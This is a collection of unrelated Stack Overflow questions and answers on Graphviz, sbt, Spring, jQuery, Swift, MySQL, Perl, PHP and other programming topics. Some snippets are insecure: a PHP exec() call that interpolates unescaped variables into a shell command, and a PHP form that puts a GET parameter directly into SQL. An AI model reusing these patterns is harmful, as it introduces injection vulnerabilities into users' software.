9026192	0	 <p>I don't think there is an out-of-the-box solution to have 2 background colors.</p> <p>The best solution would be to use <strong><a href="http://www.graphviz.org/content/attrs#kcolorList" rel="nofollow noreferrer">gradient</a></strong> fills (<code>fillcolor="orange:yellow"</code>) - but though this is in the documentation, I wasn't able to make it work on my box.</p> <p>You could use <strong><a href="http://www.graphviz.org/content/node-shapes#html" rel="nofollow noreferrer">HTML-like labels</a></strong> as a workaround. You may need to split the label to have it centered, depending on your needs:</p> <pre><code>a[shape="none", label=&lt; &lt;table cellpadding="0" cellborder="0" cellspacing="0" border="0"&gt; &lt;tr&gt; &lt;td bgcolor="orange"&gt;abc&lt;/td&gt; &lt;td bgcolor="yellow"&gt;def&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &gt;] </code></pre> <p><img src="https://i.stack.imgur.com/5ReVy.png" alt="2 colors"></p>
9760596	0	How to use scala 2.10 trunk with sbt 0.11.0? (Unresolved dependencies) <p>What's the right way to use sbt with 2.10 trunk? I tried the obvious:</p> <pre><code>james@James-Moores-iMac:~/workspace/Deleteme3$ cat build.sbt scalaVersion := "2.10.0-SNAPSHOT" </code></pre> <p>But that gives:</p> <pre><code>james@James-Moores-iMac:~/workspace/Deleteme3$ sbt compile [info] Loading global plugins from /Users/james/.sbt/plugins [info] Set current project to default-ee38f7 (in build file:/Users/james/workspace/Deleteme3/) [info] Updating {file:/Users/james/workspace/Deleteme3/}default-ee38f7... [info] Resolving org.scala-lang#scala-library;2.10.0-SNAPSHOT ... [warn] module not found: org.scala-lang#scala-library;2.10.0-SNAPSHOT [warn] ==== local: tried [warn] /Users/james/.ivy2/local/org.scala-lang/scala-library/2.10.0-SNAPSHOT/ivys/ivy.xml [warn] ==== public: tried [warn] http://repo1.maven.org/maven2/org/scala-lang/scala-library/2.10.0-SNAPSHOT/scala-library-2.10.0-SNAPSHOT.pom [warn] ==== Scala-Tools Maven2 Repository: tried [warn] http://scala-tools.org/repo-releases/org/scala-lang/scala-library/2.10.0-SNAPSHOT/scala-library-2.10.0-SNAPSHOT.pom [warn] :::::::::::::::::::::::::::::::::::::::::::::: [warn] :: UNRESOLVED DEPENDENCIES :: [warn] :::::::::::::::::::::::::::::::::::::::::::::: [warn] :: org.scala-lang#scala-library;2.10.0-SNAPSHOT: not found [warn] :::::::::::::::::::::::::::::::::::::::::::::: [error] {file:/Users/james/workspace/Deleteme3/}default-ee38f7/*:update: sbt.ResolveException: unresolved dependency: org.scala-lang#scala-library;2.10.0-SNAPSHOT: not found [error] Total time: 1 s, completed Mar 18, 2012 10:39:29 AM james@James-Moores-iMac:~/workspace/Deleteme3$ </code></pre> <p>Trying the suggestion of the new sbt launcher with -sbt-snapshot fails too:</p> <pre><code>james@James-Moores-iMac:/tmp/sfasdf$ sbt -sbt-snapshot compile Detected sbt version 0.12.0-SNAPSHOT Using /Users/james/.sbt/0.12.0-SNAPSHOT as sbt dir, -sbt-dir to override. Getting net.java.dev.jna jna 3.2.3 ... :: retrieving :: org.scala-sbt#boot-jna confs: [default] 1 artifacts copied, 0 already retrieved (838kB/13ms) Getting org.scala-sbt sbt 0.12.0-20120319-052150 ... :: retrieving :: org.scala-sbt#boot-app confs: [default] 38 artifacts copied, 0 already retrieved (7712kB/159ms) Getting Scala 2.9.1 (for sbt)... :: retrieving :: org.scala-sbt#boot-scala confs: [default] 4 artifacts copied, 0 already retrieved (19939kB/426ms) [info] Set current project to wand (in build file:/private/tmp/sfasdf/) Getting Scala 2.10.0-SNAPSHOT ... downloading http://scala-tools.org/repo-snapshots/org/scala-lang/scala-compiler/2.10.0-SNAPSHOT/scala-compiler-2.10.0-20120319.161232-290.jar ... [SUCCESSFUL ] org.scala-lang#scala-compiler;2.10.0-SNAPSHOT!scala-compiler.jar (28525ms) downloading http://scala-tools.org/repo-snapshots/org/scala-lang/scala-library/2.10.0-SNAPSHOT/scala-library-2.10.0-20120319.161232-293.jar ... [SUCCESSFUL ] org.scala-lang#scala-library;2.10.0-SNAPSHOT!scala-library.jar (16869ms) downloading http://scala-tools.org/repo-snapshots/org/scala-lang/jline/2.10.0-SNAPSHOT/jline-2.10.0-20120319.161232-290.jar ... [SUCCESSFUL ] org.scala-lang#jline;2.10.0-SNAPSHOT!jline.jar (1674ms) :: retrieving :: org.scala-sbt#boot-scala confs: [default] 4 artifacts copied, 0 already retrieved (21204kB/91ms) [info] Updating {file:/private/tmp/sfasdf/}default-59a990... [info] Resolving org.scala-lang#scala-library;2.10.0-SNAPSHOT ... [warn] module not found: org.scala-lang#scala-library;2.10.0-SNAPSHOT [warn] ==== local: tried [warn] /Users/james/.ivy2/local/org.scala-lang/scala-library/2.10.0-SNAPSHOT/ivys/ivy.xml [warn] ==== public: tried [warn] http://repo1.maven.org/maven2/org/scala-lang/scala-library/2.10.0-SNAPSHOT/scala-library-2.10.0-SNAPSHOT.pom [warn] :::::::::::::::::::::::::::::::::::::::::::::: [warn] :: UNRESOLVED DEPENDENCIES :: [warn] :::::::::::::::::::::::::::::::::::::::::::::: [warn] :: org.scala-lang#scala-library;2.10.0-SNAPSHOT: not found [warn] :::::::::::::::::::::::::::::::::::::::::::::: [error] {file:/private/tmp/sfasdf/}default-59a990/*:update: sbt.ResolveException: unresolved dependency: org.scala-lang#scala-library;2.10.0-SNAPSHOT: not found [error] Total time: 54 s, completed Mar 20, 2012 7:37:55 AM </code></pre>
20915957	0	 <p>Thanks to all. The additional AND condition worked. I had actually tried that earlier but it didn't work when I was testing, in my haste I had not yet added the "completed" column to the table yet. Thanks again. </p>
20678586	0	Spring REST MultipartFile file is always null when do upload file <pre><code>@RequestMapping(value = "{fileName:.+}", method = RequestMethod.POST, consumes = { MediaType.MULTIPART_FORM_DATA_VALUE}) public ResponseEntity&lt;ResponseEnvelope&lt;String&gt;&gt; uploadFile( @RequestParam("ownerId") Long ownerId, @PathVariable("fileName") String fileName, @RequestBody MultipartFile file) throws Exception { ResponseEnvelope&lt;String&gt; env; if(null == certFileContent) { env = new ResponseEnvelope&lt;String&gt;("fail"); return new ResponseEntity&lt;ResponseEnvelope&lt;String&gt;&gt;(env, HttpStatus.OK); } service.uploadCertificate(ownerId, fileName, certFileContent.getBytes()); env = new ResponseEnvelope&lt;String&gt;("success"); return new ResponseEntity&lt;ResponseEnvelope&lt;String&gt;&gt;(env, HttpStatus.OK); } </code></pre> <p>Why I always get the file value is null, I've configure the multipart support,see below,</p> <p> </p>
2085942	0	How to display attached properties in Property Browser of blend for silverlight? <p>I created couple of custom controls and their childresn correctly shows the attached properties in Property Browser for WPF, but in silverlight none of the attached properties appear in Property Brower.</p> <p>How to add design time support for attached properties in silverlight?</p>
27783083	0	 <p>Just import them as usual. When running the tests, Maven will create a classpath which will make everything in <code>src/main/java</code> visible to the test classes.</p>
10946490	0	 <p>For those having troubles like these accessing the soap web services and using a https protocol, we managed to solve the issue by configuring the RTM CRM 2011 deployment with Claims based authentication and IFD access thanks to <a href="http://www.youtube.com/watch?v=ZD5qaa-G99E" rel="nofollow">this tutorial</a>.</p> <p>Hope it will help some of you !</p>
40803902	0	 <p>You need samsung certificate. Application with Certificate that created in Tizen Studio can be run only Emulator. Use Samsung Certificate if you want to run application on real device.</p> <p>Refer <a href="http://stackoverflow.com/questions/40742515/how-to-install-app-on-gear-s2-via-tizen-studio/40755444#40755444">this my answer</a>.</p>
21324210	0	 <p>Try this:</p> <pre><code>jQuery(function ($) { if (typeof (window.localStorage) != "undefined") { // will get value of specific id from the browser localStorage and set to the input $("input[type=text]").val(function () { return localStorage.getItem(this.id); }); // will set values in browser localStorage for further reference $("input[type=text]").on("change", function () { localStorage.setItem(this.id, $(this).val()); }); } }); </code></pre> <p>Here is a working <a href="http://jsfiddle.net/sf3ZU/1/" rel="nofollow">Demo</a>.</p> <p><strong>Details:</strong></p> <p>Using local storage in modern browsers is ridiculously easy. All you have to do is modify the <code>localStorage object</code> in JavaScript. You can do that directly or (and this is probably cleaner) use the <code>setItem()</code> and <code>getItem()</code> method:</p> <pre><code>localStorage.setItem('favoriteflavor','vanilla'); </code></pre> <p>If you read out the favoriteflavor key, you will get back “vanilla”:</p> <pre><code>var taste = localStorage.getItem('favoriteflavor'); // -&gt; "vanilla" </code></pre> <p>To <strong>remove</strong> the item, you can use — can you guess? — the <code>removeItem()</code> method:</p> <pre><code>localStorage.removeItem('favoriteflavor'); var taste = localStorage.getItem('favoriteflavor'); // -&gt; null </code></pre> <p>That’s it! You can also use <strong>sessionStorage</strong> instead of <strong>localStorage</strong> if you want the data to be maintained only until the browser window closes.</p> <p>The complete <a href="http://coding.smashingmagazine.com/2010/10/11/local-storage-and-how-to-use-it/" rel="nofollow">reference here</a>. It should give you more knowledge about <code>localStorage</code>.</p>
30771239	0	Array of Protocol instances won't work with contains method <p>I have a protocol that I am using to define what makes up the content of a note. A note can have many different content types, so a protocol seemed like the best way to go.</p> <pre><code>public protocol Content { var contentType: String { get } } </code></pre> <p>I then have an implementation of that protocol</p> <pre><code>public class PlainTextContent: Content { public var contentType: String { return "Plain Text" } public var text: String = String() public init(content: String) { self.text = content } } </code></pre> <p>This is a simplified example of the two objects. Next I have a <code>Note</code> class that holds an <code>Array</code> of <code>Content</code> protocol implementations.</p> <pre><code>public class Note { public private(set) var noteContent: [Content] = [] public var title: String = String() public var date: NSDate public init() { self.date = NSDate() } func insertContent(content: Content) -&gt; Bool { if contains(self.noteContent, content) { return false } self.noteContent.append(content) return true } func deleteContent(content: Content) -&gt; Bool { return false } } </code></pre> <p>The problem that I have is that when I do</p> <pre><code>if contains(self.noteContent, content) {} </code></pre> <p>the compiler tells me</p> <blockquote> <p>Note.swift:21:12: Cannot find an overload for 'contains' that accepts an argument list of type '([Content], Content)'</p> </blockquote> <p>I have looked a <a href="http://stackoverflow.com/questions/24102024/how-to-check-if-an-element-is-in-an-array">few examples</a> on <a href="http://stackoverflow.com/questions/28615434/xcode-swift-check-if-array-contains-object">Stackoverflow</a> and I'm doing as they show. Is there an issue with how I am defining my protocol in order for me to use it as an array and the associated global functions?</p> <h2>Edit</h2> <p>I have also tried to make the protocol inherit from <code>Equatable</code>, at which point I get the following compiler error</p> <blockquote> <p>Protocol 'Content' can only be used as a generic constraint because it has Self or associated type requirements</p> </blockquote> <p>I'm a little confused as to how I can perform equality checks against the array of protocols. Is that something that Swift doesn't support? I'm coming from a C# background, so not sure how Swift handles protocols fully.</p>
23162806	0	 <p>There's a better way.</p> <p>jQuery documentation for <a href="https://api.jquery.com/deferred.promise/" rel="nofollow">Deferred.promise([target])</a> says :</p> <blockquote> <p>If target is provided, <code>deferred.promise()</code> will attach the methods onto it and then return this object rather than create a new one. This can be useful to attach the Promise behavior to an object that already exists.</p> </blockquote> <p>Thus, you can define your own promise methods as follows :</p> <pre><code>var myPromiseMethods = { myMethod1: function() { ... }, myMethod2: function() { ... }, myMethod3: function() { ... } }; </code></pre> <p>Then, you can make your methods available as follows :</p> <pre><code>var dfrd = $.Deferred(); ... return dfrd.promise(myPromiseMethods).myMethod(); </code></pre> <p>In general, you will want to write your methods something like this :</p> <pre><code>myMethod1: function() { var promise = this; //do something awesome here return promise; } </code></pre> <p>By returning <code>this</code> or <code>promise</code>, the method becomes chainable like the built-in Promise methods, eg :</p> <pre><code>var dfrd = $.Deferred(); ... return dfrd.promise(myPromiseMethods).myMethod().then(...); </code></pre> <h2>Example</h2> <p>You can define the object containing the custom method in any convenient scope. In this example, I simply name the object <code>é</code> (altGreen-E under Windows), which is compact, distinctive and unlikely to be used for other purposes. </p> <p>So let's define an <code>invert()</code> method which reverses the sense of a promise - resolve becomes reject and reject becomes resolve.</p> <pre><code>var é = { invert: function() { var promise = this; return $.Deferred(function(dfrd) { promise.then(dfrd.reject, dfrd.resolve); }).promise(); } }; var dfrd = $.Deferred(); dfrd.promise(é).invert().done(function(str) { alert('done: ' + str); }).fail(function(str) { alert('fail: ' + str); }); dfrd.reject('*'); </code></pre> <p>As you can see, the methods defined in <code>é</code> become available to any promise created with <code>dfrd.promise(é)</code>. </p> <p><strong><a href="http://jsfiddle.net/R8Evv/" rel="nofollow">DEMO</a></strong></p>
5922713	0	Is there a way to get Mysql to make the unique ID generate with letters and numbers? (or PHP) <p>Is there a way i could make the unique id (primary key) in Mysql generate with numbers and letters to keep the id as short as possible? If I cant do this in Mysql how could i get PHP to generate this? Thanks :)</p>
29017782	0	How do you extend a class with a jQuery wrapped set? <p>The following almost works...</p> <pre><code>$el = -&gt; $el:: = $ '#test' new class extends $el constructor: -&gt; @append '&lt;h1&gt;Worked!&lt;/h1&gt;' # this will overflow the stack @find('[role=test2]').append '&lt;h2&gt;Also Worked!&lt;/h2&gt;' </code></pre> <p>Example here: <a href="http://jsfiddle.net/66a3jdot/" rel="nofollow">http://jsfiddle.net/66a3jdot/</a></p>
9583911	0	jquery form field message on submit <p><a href="http://jsfiddle.net/XeELs/24/" rel="nofollow">http://jsfiddle.net/XeELs/24/</a></p> <p>I'm having problems with this Fiddle is not working the message Error. I'm using the CSS3-html5 form validation and I need to implement it within CSS possibly <code>valid</code> and <code>invalid</code></p>
14940003	0	 <p>Reserved words are a moving target. If the dbms doesn't expose them through a public interface, there isn't usually a good programmatic way to get to them.</p> <p>If you don't want to guard them with brackets, you risk incorporating symbols that are not reserved in your currently used version of SQL Server, but <em>are</em> reserved in some future version.</p> <p>I think your best bet is to use the quoting mechanism your dbms provides, since it's designed to deal with exactly this problem. For SQL Server, that means square brackets.</p>
3927498	0	 <p>As far as I know, mongodb doesn't support queries against dynamic values. But you could use a javascript function:</p> <pre><code>scope :unresolved, :where =&gt; 'this.updated_at &gt;= this.checked_at' </code></pre> <p>To speed this up you could add an attribute like "is_unresolved" which will be set to true on update when this condition is matched ( and index that ).</p>
11653698	0	How do I tie in my image handler with an image control? <p>I've been looking around and reading about handlers, but I don't fully understand how to implement them for my situation.</p> <p>I want display a screenshot from the user's clipboard. I already have code that retrieves the image from the clipboard into a bitmap format. This is what I have:</p> <pre><code>var dataobj = new DataObject(); dataobj = (DataObject)Clipboard.GetDataObject(); System.Drawing.Image img = dataobj.GetData(DataFormats.Bitmap) as System.Drawing.Image; original = (System.Drawing.Image)img.Clone(); img = resizeImage(img, new Size(670, 500)); String s = "c:/Temp/temp.png"; img.Save(s, ImageFormat.Png); Image1.ImageUrl = s; Image1.DataBind(); </code></pre> <p>My problem was that I am not able to save the images to the hard disk.</p> <p>My first question is will an image handler help me in this situation?</p> <p>if it will, how do I modify that code and tie it into my image handler with this code:</p> <pre><code>public class getmyimage : IHttpHandler { public void ProcessRequest(HttpContext context) { HttpResponse r = context.Response; r.ContentType = "image/png"; // Write the requested image r.WriteFile("temp.png"); } public bool IsReusable { get { return false; } } } </code></pre>
13303978	0	 <p>Get rid of that new at the beginning. It's <code>Charts.newColumnChart()</code>, not <code>new Charts.newColumnChart()</code>.</p>
21111770	0	Aggregate intraday data <p>As from my previous question, I have this query to perform data aggregation from intraday to daily data</p> <pre><code>SELECT symbol, date, MAX(high) AS high, MIN(low) as low, SUM(volume) as volume, (select open from A2A a2 where a1.symbol = a2.symbol and a1.date = a2.date order by time limit 1) as open, (select close from A2A a2 where a1.symbol = a2.symbol and a1.date = a2.date order by time desc limit 1) as close FROM A2A a1 WHERE date &gt;= date_sub(CURDATE(), interval 100 day) GROUP BY symbol, date ORDER BY symbol, date; </code></pre> <p>but this return less then 100 daily aggregated rows since it use calendar days.</p> <p>1) How to modify this query to get 100 latest records?</p> <p>2) How to aggregate to 5 minute data instead of daily (i.e., first row aggregates data from 0900 up to 0904, then from 0905 up to 0909, etc.)?</p> <p>I use mySQL 5.6.11, data stored are as follow</p> <p><img src="https://i.stack.imgur.com/NKmdr.png" alt="enter image description here"></p> <p>I store stock market data 1 minute per row, I have 511 1 minute rows for every day (from 0900 up to 1730).</p>
5681585	0	 <p>If you have a dual-core computer and a process that's taking 50%, it means it's using one core, at its maximum capability.</p> <p><br> Compiling is a complex operation ; and it doesn't surprise me that it'd use a full CPU for some time <em>(depending on the size of your project)</em>.</p> <p>Using a CPU at its maximum, a bad thing ? Well, if you have a CPU, why not just use it ;-) <br>I don't think it can damage anything, at least if that doesn't last <em>too long</em> and your CPU is properly cooled. <br>I've had my quad-core CPU run at 100% <em>(on each core)</em> for several days in a row ; I've seen absolutly no problem since <em>(the fans were working harder for that time, but it's all)</em></p> <p><br> <code>jawaw</code> is the process that corresponds to the execution of JAVA <em>(at least for some programs)</em> ; and Eclipse is developped in JAVA ; so no surprise here either.</p>
7751588	0	 <p>Try changing</p> <pre><code>exec('gpg --homedir $path --recipient $recipient --output $encrypted_file --encrypt $plain_file --yes --always-trust', $answer, $rtn); </code></pre> <p>To</p> <pre><code>exec("gpg --homedir $path --recipient $recipient --output $encrypted_file --encrypt $plain_file --yes --always-trust", $answer, $rtn); </code></pre> <p>Notice I changed single quotes to double</p> <p><a href="http://php.net/manual/en/language.types.string.php" rel="nofollow">http://php.net/manual/en/language.types.string.php</a></p>
25112397	0	How can I make ExtUtils::Manifest include empty directories? <p>I am trying to build a Perl module for distribution. The directory structure looks like this:</p> <pre><code>demo demo/files demo/examples/example1.pl demo/scripts lib </code></pre> <p>I used this command to generate the MANIFEST file:</p> <pre><code>perl -e "use ExtUtils::Manifest qw(mkmanifest); mkmanifest();" </code></pre> <p>The file is created but all of the empty folders are ignored, so <code>demo/files</code> and <code>demo/scripts</code> are not in the MANIFEST.</p> <p>How can I tell <a href="https://metacpan.org/pod/ExtUtils::Manifest" rel="nofollow"><code>ExtUtils::Manifest</code></a> to include empty folders?</p>
29694944	0	 <p>This should work:</p> <pre><code>@ECHO OFF FOR /F "tokens=*" %%a IN ('ver') DO ( SET ver=%%a ) SET v1=%ver:~27,1% SET v2=%ver:~29,1% IF %v1% LSS 6 GOTO JUMPTO IF %v2% LSS 2 GOTO JUMPTO ECHO doing something PAUSE GOTO:EOF :JUMPTO ECHO Windows version too old! PAUSE </code></pre>
4880888	0	How to Circumvent Perl's string escaping the replacement string in s///? <p>I'm not sure what exactly to call this, but I've been able to reproduce my problem with two one-liners.</p> <p>Starting from a file 'test.txt' containing the following:</p> <pre><code>foo </code></pre> <p>After running the following command (in bash):</p> <pre><code>perl -n -e "s/(\w)oo/$1ar/; print;" test.txt </code></pre> <p>the output is '<code>far</code>'</p> <p>However, when I introduce a variable containing the replacement string, </p> <pre><code>perl -n -e '$bar = q($1ar); s/(\w)oo/$bar/; print;' test.txt </code></pre> <p>the output is '<code>$1ar</code>'.</p> <p>What do I need to change so that the second program will also output '<code>far</code>' and what keywords do I need to learn that would have made this answer Googleable?</p> <p>Also, I tried changing the second one to s///e, to no effect.</p> <p>Edit: This wasn't really the question I wanted to ask, which is <a href="http://stackoverflow.com/questions/4881345/how-to-circumvent-perls-string-escaping-the-replacement-string-in-s-when-its">here</a>.</p>
9263743	0	 <p>Another caveat was running Android SDK Manager in Windows 7 without administrator privileges. It would try to install support package, but would always fail, and the actual package never got downloaded to</p> <blockquote> <p>C:\Program Files (x86)\Android\android-sdk\extras\android\support\v4\android-support-v4.jar</p> </blockquote>
10150139	0	Bug in JavaScript V8 regex engine when matching beginning-of-line? <p>I have a pretty nifty tool, <a href="https://github.com/ddopson/underscore-cli" rel="nofollow">underscore-cli</a>, that's getting the strangest behavior when printing out the help / usage information.</p> <p>In the usage() function, I do this to indent blocks of text (eg, the options):</p> <pre><code>str.replace(/^/, " "); </code></pre> <p>This regex, in addition to being pretty obvious, comes straight out of TJ Hollowaychuk's <a href="https://github.com/visionmedia/commander.js" rel="nofollow">commander.js</a> code. The regex is correct.</p> <p>Yet, I get bizzare spaces inserted into the middle of my usage text. like this:</p> <pre> Commands: ... values Retrieve all the values of an object's properties. extend &ltobject> Override properties in the input data. defaults &ltobject> Fill in missing properties in the input data. any &ltexp> Return 'true' if any of the values in the input make the expression true. Expression args: (value, key, list) all &ltexp> Return 'true' if all values in the input make the expression true. Expression args: (value, key, list) isObject Return 'true' if the input data is an object with named properties isArray Return 'true' if the input data is an array isString Return 'true' if the input data is a string ... </pre> <p>99% chance, this HAS to be a bug in V8.</p> <p>Anyone know why this happens, or what the easiest work-around would be? </p> <p>Yup, turns out this <strong>IS</strong> a V8 bug, 1748 to be exact. Here's <a href="https://github.com/ddopson/underscore-cli/commit/bad0802b1fdc65de8623a7950a831bf5828bf283" rel="nofollow">the workaround I used in the tool</a>:</p> <pre><code>str.replace(/(^|\n), "$1 "); </code></pre>
25688324	0	Number of comboboxes increase after the first set of results <pre><code>I am populating my datagrid based on a value in the textbox. </code></pre> <p>One of the field values in my grid view is a combobox.On a particular text box entry it shows me the correct results but wen I give another value in the text box, the combobox increases its number which means If I enter 100, the data is populated correctly in my combobox but for any value that is provided next the number of combobox becomes 2.I don't know why this happens. This is the code on button click. please help</p> <pre><code> DataGridViewComboBoxColumn combo = new DataGridViewComboBoxColumn(); combo.HeaderText = "Supplier"; //execute sql data adapter to get supplier values DataTable dt = obj.SqlDataTable("select name1 from blahblah"); //foreach (DataRow supplier in dt.DataSet.Tables[0].Rows) //{ // combo.Items.Add(supplier[0]); //} //dataGridView1.Columns.Add(combo); foreach (DataRow row in dt.Rows) { combo.Items.Add(row["NAME1"].ToString()); } dataGridView1.Columns.Add(combo); </code></pre>
19344785	0	 <blockquote> <p>Any suggestions which api or util to use for that purpose in JAVA?</p> </blockquote> <p>Main suggestion ... don't do it. It should be up to the end user to think up a passphrase. Any systematic scheme you implement for generating passphrases will be vulnerable to someone attacking your system.</p> <p>I am not aware of an API or utility that does this. But if you did find such an API or utility, you should immediately be suspicious of it:</p> <ul> <li><p>any "common" scheme for generating passphrases will attract attention from people trying to defeat it</p></li> <li><p>you should be concerned that someone has incorporated a backdoor in the scheme.</p></li> </ul> <p>The second problem is that a generated passphrase consisting of random English words won't be memorable, and hence the user is likely to write it down. Once they have done that, your security is defeasible by looking for bits of paper in their stolen wallet, etcetera.</p> <hr> <blockquote> <p>Well, I am also generating a random url and with each url a pin will be associated. URL is sent thru mail but PIN will be texted on their cells. So it wont be an easy hacking attack since my URL is also random. </p> </blockquote> <p>If someone can access the user's browser history, or snoop his network traffic, then they can find out what the random URL is.</p> <hr> <blockquote> <p>Or random number as PIN is fine?</p> </blockquote> <p>A randomly generated PIN is probably better than a non-random one (or one supplied by the user!) but neither is up to scratch ... unless they have 10+ digits.</p>
38353235	0	 <pre><code>/**** get some dates to play with ****/ data dates(keep=i thisdate); offset = input('01Jan2015',DATE9.); do i=1 to 100; thisdate = offset + round(599*ranuni(1)+1); *** within 600 days from offset; output; end; format thisdate date9.; run; /**** BTW: intnx('month',thisdate,1)-1 = first day of next month. Deduct 1 to get the last day of the current month. intnx('month',thisdate,0,"BEGINNING") = first day of the current month ****/ proc sql; create table first5_last5 AS SELECT * FROM dates /* replace with name of your data set */ WHERE /* replace all occurences of 'thisdate' with name of your date variable */ ( intnx('month',thisdate,1)-5 &lt;= thisdate &lt;= intnx('month',thisdate,1)-1 ) OR ( intnx('month',thisdate,0,"BEGINNING") &lt;= thisdate &lt;= intnx('month',thisdate,0,"BEGINNING")+4 ) ORDER BY thisdate; quit; </code></pre>
6956515	0	 <p>Why are you replacing it with <code>\n</code>? </p> <p>Try to replace it with an <strong>empty string</strong> instead, like <code>''</code>. Try to replace <code>\r\n</code> with <code>""</code> and <code>\n</code> with <code>""</code></p>
2987260	0	 <p>you have to MIME-encode your post: a binary post in an NNTP newsgroup is like a mail with an attachment. </p> <p>the file has to be encoded in ASCII, generally using the <code>base64</code> encoding, then the encoded file is packaged iton a multipart MIME message and posted...</p> <p>have a look at the <a href="http://docs.python.org/library/email.html#module-email" rel="nofollow noreferrer"><code>email</code></a> module: it implements all that you want.</p> <p>i encourage you to read <a href="http://tools.ietf.org/html/rfc3977" rel="nofollow noreferrer"><code>RFC3977</code></a> which is the official standard defining the NNTP protocol.</p> <p><em>for the second part of your question:</em></p> <p>use <a href="http://docs.python.org/library/stringio.html#module-StringIO" rel="nofollow noreferrer"><code>StringIO</code></a> to build a fake file object from a string (the <code>post()</code> method of nntplib accepts open file objects). <code>email.Message</code> objects have a <code>as_string()</code> method to retrieve the content of the message as a plain string.</p>
16713231	0	 <p>It seems that you name table <code>products AS p</code> and then later also <code>product_fields AS p</code>. Try this:</p> <pre><code>SELECT p.*, c.value AS color, g.value AS gender, p.value AS price FROM products p LEFT JOIN product_fields c ON c.product_id = p.id AND c.name = 'color' LEFT JOIN product_fields g ON g.product_id = p.id AND g.name = 'gender' LEFT JOIN product_fields pr ON pr.product_id = p.id AND pr.name = 'price' </code></pre> <p>Note, that you use <code>LEFT JOIN</code>, which allows a match NULL values. maybe all you need to do is changing to <code>INNER JOIN</code>?</p> <pre><code>SELECT p.*, c.value AS color, g.value AS gender, p.value AS price FROM products p INNER JOIN product_fields c ON c.product_id = p.id AND c.name = 'color' INNER JOIN product_fields g ON g.product_id = p.id AND g.name = 'gender' INNER JOIN product_fields pr ON pp.product_id = p.id AND pp.name = 'price' </code></pre>
37709922	0	 <p>Probably the problem is rather server-side. Your server have to redirect all the routes to <code>index.html</code> to let Angular make its job. </p>
9160042	0	 <p>In cake2 you can use a cleaner approach - with or without the new response object: <a href="http://www.dereuromark.de/2011/11/21/serving-views-as-files-in-cake2/" rel="nofollow">http://www.dereuromark.de/2011/11/21/serving-views-as-files-in-cake2/</a></p> <p>The headers will be set by cake itself from the controller. It's not good coding (anymore) to set them in the layout (I used to do that, as well^^).</p> <p>These days the <a href="https://github.com/ceeram/CakePdf" rel="nofollow">CakePdf plugin</a> has matured quite a bit into a very useful tool for PDF generation. I recommend using that in Cake2.x.</p> <p>See <a href="http://www.dereuromark.de/2014/04/08/generating-pdfs-with-cakephp" rel="nofollow">http://www.dereuromark.de/2014/04/08/generating-pdfs-with-cakephp</a></p>
33394491	0	 <p>Given your image, you can target this with pure CSS:</p> <pre><code>.institution-selector li { /*this is all list items */ } .institution-selector li li { /*this is all second or third level list items */ } .institution-selector li li li { /*this is all third level list items */ } .institution-selector li:last-child { /*this is the last item in a list of items */ } .institution-selector li ul { /*this is a list within a list item */ } </code></pre> <p>etc.</p>
39622541	0	i am trying to update my data with an image updation too but the image isset would not work in php <p>Hey guys i have created a register form with an image upload too but when i try to update this form i try to get the id but the isset of my image is not working so it just wont run my update query do check it out </p> <p>this is the updation form where all the values will be displayed for edit now can i run the update function in the isset condition of my submit button and then update the data</p> <pre><code> &lt;title&gt;Register Update&lt;/title&gt; &lt;?php //error_reporting(0); $id=$_GET['id']; function __autoload($classname) { include "$classname.php"; } $obj = new connect(); $st=$obj-&gt;con(); if (isset($_POST['sub'])) { $upd= new update(); $upd-&gt;updatedata($_POST); } $qry = "select * from register "; $run = mysqli_query($st,$qry); $row = mysqli_fetch_assoc($run); { $g = $row['gen']; $l = $row['lang']; } $query=mysqli_query($st,"select * from register where id='$id'"); //echo "&lt;ul&gt;"; while($query2=mysqli_fetch_assoc($query)) { //print_r($query2); echo "&lt;form method='POST' action='RegisterRetrieve.php'&gt;"; echo "&lt;table&gt;"; ?&gt; &lt;p&gt;&lt;input type="hidden" name="sid" value="&lt;?php echo $query2['id']; ?&gt;"&gt;&lt;/p&gt; &lt;tr&gt; &lt;td&gt; First Name: &lt;/td&gt; &lt;td&gt;&lt;input type="text" name="uname" value="&lt;?php echo $query2['uname']; ?&gt;"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Password:&lt;/td&gt; &lt;td&gt;&lt;input type="password" name="pwd" value="&lt;?php echo $query2['pwd']; ?&gt;"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Email Id:&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="emailid" value="&lt;?php echo $query2['emailid']; ?&gt;" &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Radio Button: Are you male or female?&lt;/td&gt; &lt;?php if ($g == "male"){ echo "&lt;td&gt;&lt;input type='radio' name='gen' value='Male' id='gen' checked&gt; Male &lt;input type='radio' name='gen' value='Female' id='gen'&gt; Female &lt;/td&gt;"; } else { echo "&lt;td&gt;&lt;input type='radio' name='gen' value='Male' id='gen'&gt; Male &lt;input type='radio' name='gen' value='Female' id='gen' checked&gt; Female &lt;/td&gt;"; } ?&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Check Box: Check the languages you know?&lt;/td&gt; &lt;td&gt;&lt;?php $lang=explode(',',$l); //print_r($lang); if(in_array('Cricket', $lang)) echo '&lt;input type="checkbox" name="lang[0]" value="Cricket" checked&gt;Cricket'; else echo '&lt;input type="checkbox" name="lang[0]" value="Cricket"&gt;Cricket'; if(in_array('Basketball', $lang)) echo '&lt;input type="checkbox" name="lang[1]" value="Basketball" checked&gt;Basketball'; else echo '&lt;input type="checkbox" name="lang[1]" value="Basketball"&gt;Basketball'; if(in_array('Hockey', $lang)) echo '&lt;input type="checkbox" name="lang[2]" value="Hockey" checked&gt;Hockey'; else echo '&lt;input type="checkbox" name="lang[2]" value="Hockey"&gt;Hockey'."&lt;br&gt;"; ?&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Mobile No:&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="mobile" value="&lt;?php echo $query2['mobile']; ?&gt;" &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;10th Marks:&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="marks_10" value="&lt;?php echo $query2['10marks'];?&gt;" &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; 12th Marks:&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="marks_12" value="&lt;?php echo $query2['12marks'];?&gt;"&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; 